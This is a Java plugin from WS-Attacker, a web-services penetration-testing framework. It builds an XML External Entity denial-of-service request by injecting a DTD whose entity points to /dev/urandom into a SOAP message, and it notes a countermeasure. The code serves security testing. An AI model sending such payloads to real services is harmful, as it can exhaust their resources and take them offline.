/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2012 Andreas Falkenberg * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.dos; import java.util.HashMap; import java.util.Map; import wsattacker.main.plugin.option.OptionSimpleVarchar; import wsattacker.plugin.dos.dosExtension.abstractPlugin.AbstractDosPlugin; import wsattacker.plugin.dos.dosExtension.option.OptionTextAreaSoapMessage; public class XmlExternalEntity extends AbstractDosPlugin { // Mandatory DOS-specific Attributes - Do NOT change! // <editor-fold defaultstate="collapsed" desc="Autogenerated Attributes"> private static final long serialVersionUID = 1L; // </editor-fold> // Custom Attributes private OptionSimpleVarchar optionExternalEntity; @Override public void initializeDosPlugin() { initData(); // Custom Initilisation optionExternalEntity = new OptionSimpleVarchar( "Path to resource", "\"/dev/urandom\"", "Be carefull with Linux/Windows/Mac system resource differences!", 400 ); getPluginOptions().add( optionExternalEntity ); } @Override public OptionTextAreaSoapMessage.PayloadPosition getPayloadPosition() { return OptionTextAreaSoapMessage.PayloadPosition.BODYLASTCHILDELEMENT; } public void initData() { setName( "XML External Entity Attack" ); setDescription( "<html><p>This attack checks whether or not a Web service is vulnerable to the \"XML External Entity\" attack.</p>" + "<p>A vulnerable Web service runs out of resources when trying to resolve an external entity." + "Examples of external entities are:<ul>" + "<li>Large files from external servers. This will use up the bandwidth.</li>" + "<li>Local files e.g. /dev/random/ on a Linux machine</li></ul></p>" + "<p>The external entity is defined in the Document Type Definition (DTD)." + "A detailed description of the attack can be found on <a href=\"http://clawslab.nds.rub.de/wiki/index.php/XML_Remote_Entity_Expansion\">http://clawslab.nds.rub.de/wiki/index.php/XML_Remote_Entity_Expansion</a>.</p>" + "<p>The attack algorithm replaces the string $$PAYLOADATTR$$ in the SOAP message below " + "with an attribute that uses the entity that points to the external resource.</p>" + "<p>The placeholder $$PAYLOADATTR$$ can be set to any other position in the SOAP message</p>" + "<p>The default value for the external source paramter is /dev/null/ and will only work on Linux bases Web services.</p></html>" ); setCountermeasures( "In order to counter the attack, the DTD-processing (Document Type Definitions) feature has to be disabled completly.\n" + "Apache Axis2 1.5.2 is e.g. known to be vulnerable to this attack. Current versions of Apache Axis2 are not vulnerable anymore" ); } @Override public void createTamperedRequest() { // get Message String soapMessageFinal; String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); // inset payload entity in envelope String attribute = "&attackEntity;"; soapMessage = this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload( soapMessage, attribute ); // prepend DTD to message StringBuilder sb = new StringBuilder(); sb.append( "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" ); sb.append( "<!DOCTYPE requestType [ <!ENTITY attackEntity SYSTEM " + optionExternalEntity.getValue() + ">]>" ); sb.append( soapMessage ); soapMessageFinal = sb.toString(); // get HeaderFields from original request, if required add custom // headers - make sure to clone! Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } httpHeaderMap.put( "Content-Type", "application/xml; charset=UTF-8" ); // write payload and header to TamperedRequestObject this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), soapMessageFinal ); } // ---------------------------------------------------------- // All custom DOS-Attack specific Methods below! // ---------------------------------------------------------- }